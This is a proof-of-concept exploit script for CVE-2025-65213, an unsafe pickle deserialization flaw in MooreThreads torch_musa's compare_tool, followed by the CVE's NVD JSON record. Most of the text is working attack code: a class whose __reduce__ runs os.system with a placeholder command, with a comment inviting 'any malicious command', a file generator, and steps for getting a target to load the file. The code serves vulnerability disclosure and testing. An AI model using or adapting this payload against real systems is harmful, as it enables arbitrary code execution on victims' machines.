CVE-2025-65213

""" CVE-2025-65213 PoC - Malicious pickle file generator This PoC demonstrates the unsafe deserialization vulnerability in torch_musa.utils.compare_tool module. Usage: Generate the malicious pickle file, then trigger the vulnerability by having the target application load this file through compare_for_single_op() or nan_inf_track_for_single_op(). """ import pickle import os class MaliciousPayload: """ Malicious class that executes arbitrary code during unpickling. The __reduce__ method is called by pickle.load() to reconstruct the object. """ def __reduce__(self): # This command will be executed on the target system # Replace with any malicious command cmd = "whoami > /tmp/pwned.txt" return (os.system, (cmd,)) def generate_malicious_pickle(output_path="malicious_compare.pkl"): """ Generate a malicious pickle file that exploits CVE-2025-65213. Args: output_path: Path where the malicious pickle file will be saved """ payload = MaliciousPayload() with open(output_path, 'wb') as f: pickle.dump(payload, f) print(f"[+] Malicious pickle file generated: {output_path}") print(f"[+] When loaded by vulnerable function, will execute: whoami > /tmp/pwned.txt") return output_path def simulate_vulnerable_code(pickle_file_path): """ Simulate the vulnerable code pattern found in torch_musa.utils.compare_tool This demonstrates how the vulnerability can be triggered. """ print(f"[*] Simulating vulnerable code execution...") print(f"[*] Loading file: {pickle_file_path}") # This is the vulnerable pattern from the affected code with open(pickle_file_path, 'rb') as f: # VULNERABLE: No validation of pickle file contents data = pickle.load(f) # Executes arbitrary code here print(f"[+] File loaded successfully (code execution occurred)") return data if __name__ == "__main__": import sys if len(sys.argv) > 1 and sys.argv[1] == "--generate": # Generate the malicious pickle file output_file = sys.argv[2] if len(sys.argv) > 2 else "malicious_compare.pkl" generate_malicious_pickle(output_file) else: # Demo mode: generate and trigger (for testing purposes only) malicious_file = generate_malicious_pickle() print("\n[*] To exploit this vulnerability:") print(f"[*] 1. Get the target to call compare_for_single_op('{malicious_file}')") print(f"[*] 2. Or get the target to call nan_inf_track_for_single_op('{malicious_file}')")

{"cve": {"id": "CVE-2025-65213", "sourceIdentifier": "[email protected]", "published": "2025-12-15T19:16:05.207", "lastModified": "2026-01-07T20:51:19.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MooreThreads torch_musa through all versions contains an unsafe deserialization vulnerability in torch_musa.utils.compare_tool. The compare_for_single_op() and nan_inf_track_for_single_op() functions use pickle.load() on user-controlled file paths without validation, allowing arbitrary code execution. An attacker can craft a malicious pickle file that executes arbitrary Python code when loaded, enabling remote code execution with the privileges of the victim process."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mthreads:torch_musa:*:*:*:*:*:*:*:*", "matchCriteriaId": "C9483B7D-B6A7-4C6B-A10C-F650C89482CB"}]}]}], "references": [{"url": "https://github.com/MooreThreads/torch_musa/issues/110#issuecomment-3475809588", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}]}}